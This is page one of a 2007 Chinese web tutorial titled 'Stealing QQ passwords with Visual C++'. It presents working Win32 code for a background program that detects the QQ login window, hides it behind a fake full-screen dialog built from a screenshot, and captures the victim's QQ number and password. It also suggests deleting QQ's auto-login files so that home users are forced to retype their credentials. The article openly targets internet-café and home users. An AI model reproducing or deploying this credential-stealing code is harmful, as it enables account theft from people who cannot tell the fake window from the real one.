| 网站首页 | JAVA文章 | AppServers | Web开发 | 应用开发 | 资源下载 | 论坛
    想学好编程,学好外语很重要  [enadd  2006年12月25日]        
设为首页 加入收藏 联系站长
您现在的位置: 编程笔记网 >> 应用开发 >> vc >> VC实例 >> 文章正文
[图文]Visual C++编程窃取QQ密码            【字体:
Visual C++编程窃取QQ密码
作者:-    文章来源:-    点击数:    更新时间:2007-1-2

近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。

网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。

  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:

//根据进程ID得到进程名称 
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) 
{ 
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    PROCESSENTRY32 pe; 
    pe.dwSize = sizeof(PROCESSENTRY32); 
    if (!Process32First(hSnapshot, &pe)) { 
        return FALSE; 
    } 
    while (Process32Next(hSnapshot, &pe)) { 
        if (pe.th32ProcessID == PID) { 
            strcpy(lpszProcessName, pe.szExeFile); 
   return true; 
        } 
    } 
  
    return FALSE; 
}    
    
//查找QQ登录窗口 
void QQFind() 
{ 
 HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; 
 HWND ButtonLogin = NULL, ButtonCancel = NULL; 
 char sTitle[255]; 
 CString ss; 
 DWORD QQPID; 
 int LoginID; 
 BOOL find = FALSE; 
 do 
 {  
  //获得当前激活窗口的句柄 
  g_hWnd = GetForegroundWindow(); 
  GetWindowThreadProcessId(g_hWnd, &QQPID); 
  //根据PID获得进程名 
  processIdToName(sTitle, QQPID); 
  ss = sTitle; 
  ss.MakeLower(); 
  //判断是否QQ 
  if(ss != "qq.exe") 
  { 
   Sleep(100); 
   continue; 
  } 
   
  //获得标题文字,判断是否登陆对话框 
  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); 
  ss = sTitle; 
  int n = ss.Find("QQ", 0); 
  int m = ss.Find("登录", 0); 
  if(n >= 0 || m >= 0) 
  { 
   //查找QQ登陆按钮的句柄 
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin); 
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin); 
   //获得QQ登陆按钮窗口位置 
   GetWindowRect(ButtonLogin, &g_qqLogin); 

   //查找QQ取消按钮的句柄 
   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); 
   //获得QQ取消按钮窗口位置 
   GetWindowRect(ButtonCancel, &g_qqCancel); 

   //查找QQ密码输入框的句柄 
   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  
   if(hWnd1 != NULL)  
   { 
    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); 
    //获得QQ密码输入框窗口位置 
    GetWindowRect(qqPass_hWnd, &g_qqPassRt);      
   } 
    
   //查找QQ号码输入框的句柄 
   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); 
   if(hWnd1 != NULL)  
   { 
    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); 
    //获得QQ号码输入框窗口位置 
    GetWindowRect(qqID_hWnd, &g_qqIDRt); 
    //获得当前默认QQ号码 
    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); 
   } 
    
   //等待QQ窗口完全出现后抓取整个屏幕 
   Sleep(100); 
   g_DlgRt.left = 0; 
   g_DlgRt.top = 0; 
   g_DlgRt.right = m_xScreen; 
   g_DlgRt.bottom = m_yScreen;    
   g_PBitmap = CopyScreenToBitmap(&g_DlgRt); 
    
   //设置QQ窗口为不可见 
   ShowWindow(g_hWnd, SW_HIDE); 
    
   //弹出我们创建的伪造对话框 
   HINSTANCE hInstance = GetModuleHandle(NULL); 
   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); 
    
   //设置QQ窗口为可见 
   ShowWindow(g_hWnd, SW_SHOW); 

   //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 
   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); 
   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); 
   SendMessage(ButtonLogin, BM_CLICK, 0, 0); 

   DeleteObject(g_pBitmap); 
   //设置标志退出循环 
   find = true; 
  } 
   
 } 

 while(find == FALSE); 
}

[1] [2] 下一页  

文章录入:enadd    责任编辑:enadd 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
  • 转:从VC++到GCC移植:谈两者…

  • Visual C++编译器常用选项设…

  • 在VisualStudio中使用Window…

  • VC++开发的应用技巧三则放送

  • VC调试入门

  • VC时间控制函数

  • WTL for MFC Programming实践…

  • WTL for MFC Programming实践…

  • ATL ActiveX控件中用WTL::CB…

  • VC常用知识

  •   网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 |